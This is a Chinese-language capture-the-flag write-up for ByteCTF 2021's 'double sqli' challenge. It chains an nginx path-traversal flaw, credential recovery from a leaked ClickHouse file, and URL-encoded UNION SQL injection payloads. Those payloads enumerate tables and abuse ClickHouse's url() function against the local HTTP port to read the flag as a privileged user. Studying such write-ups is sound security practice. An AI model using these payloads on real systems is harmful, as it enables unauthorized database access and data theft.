ByteCTF2021–writeup(double sqli)
一.正文
首先,拿到题目之后,访问网站的根目录,可以看到一个链接,点进去之后就网站就会返回一个图片。图片之没什么用的,然后直接访问files目录。
利用nginx配置不当导致的目录跨越漏洞进行利用。访问files…/
发现可以访问任意目录,然后到/var/lib/clickhouse/access下下载sql文件,有一个SQL文件是可以下载的。
下载之后,用workbench把它打开,查看其中的文件内容。
我们可以看到有一个user_01的用户,而且我们还得到了他的明文密码。
题目是double sqli,很明显是要我们进行sql注入的,注入点就是上面url中的id。尝试进行sql注入测试。
?id=0%20union%20all%20select%20(database());
然后是有回显的,如下是回显结果。
在这里要提前说明一点在上面我们在找sql文件的时候我们已经得知该网站所用的数据库是clickhouse,我们要参照clickhouse的官方文档进行下一步的操作。官方文档https://clickhouse.com/docs/zh/operations
下面贴一张图,上面是官方文档列出的系统表,也是我们接下来要进行操作的重要工具。
好让我们回到题目中,我们刚才拿到了当前数据库的名字,然后继续往下进行,依次解出他的表明以及字段名。
(表名)
?id=0%20union%20all%20select%20name%20from%20system.tables%20where%20database=%27default%27;
(字段名)
?id=0%20union%20all%20select%20name%20from%20system.columns%20where%20database=%27default%27and%20table%20=%20%27hello%27;
(然后看表的内容)
?id=0%20union%20all%20select%20*%20from%20hello;
额。。。。好像走了一圈之后,并没有什么用。
那就看看他还有没有别的什么数据库,还是用刚才说过的系统表进行操作。
?id=0%20union%20all%20select%20name%20from%20system.databases;
哦。。。果然有第二个数据库,然后故技重施。
id=0%20union%20all%20select%20name%20from%20system.tables%20where%20database=%27ctf%27;
然后当我尝试读取的时候。
?id=0%20union%20all%20select%20*%20from%20ctf.hint;
笑死,根本没有权限。
那好,我们看一下我们现在的数据库用户是什么?
?id=0%20union%20all%20select%20user();
刚才那个sql文件里面写的好像是user_01来着,看来我们要通过其他方式进行高权限用户登录以实现数据库访问了。
去官方文档中搜集一波信息,然后就找到了几个比较有意思的函数以及clickhouse的特殊用法
上面这三张图告诉了我们几个信息。
1.clickhouse支持内网的服务,可以通过get请求的方式进行用户的登录,以及SQL语句的执行。
2.我们可以通过select * from url()的形式,将url中请求到的列以指定的形式反馈回来。
有了这两个前提条件我们就可以进行payload的构建了。
?id=0%20union%20all%20select%20*%20from%20url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520*%2520from%2520ctf.hint%27,CSV,%27column%20String%27);
额。。。。麻了,还是权限不允许。但是我们是通过usr_01进行数据库操作的,所以权限是一定够的。那么可以推断这个表的内容就是这个dont_have_permission。
我们去查一下是否还有其他的表,通过这个user_01用户.
?id=0%20union%20all%20select%20*%20from%20url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520name%2520from%2520system.tables%27,CSV,%27column%20String%27);
看来是有的,那么咱们直接读这个flag。
?id=0%20union%20all%20select%20*%20from%20url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520*%2520from%2520ctf.flag%27,CSV,%27column%20String%27);
好了,战斗结束。
二.后记
其实在解题目的过程中,还是遇到了一些问题。大都来自于对这个clickhouse数据库操作的生疏。在我进行查表的过程中,这个问题显得尤为突出。
正常在mysql数据库下我们查数据库下的表应该是这样
?id=0%20union%20all%20select%20name%20from%20system.tables where database=XXXX;
当然这里只是打个比方,事实上MySQL中并没有system.tables.我这里只是想说他应该会有where子句。但是我在做这道题的时候,在我加上where子句的时候该网站的后端数据库,会给我返回报错。
在clickhouse中,如下的查询语句好像是更好的方式。
?id=0%20union%20all%20select%20name%20from%20system.tables
在官方文档中也没有给出解释,但是它在每一个系统表的后面都有着这样一句话。
我想这个可能就是原因之一,当然也可能不是。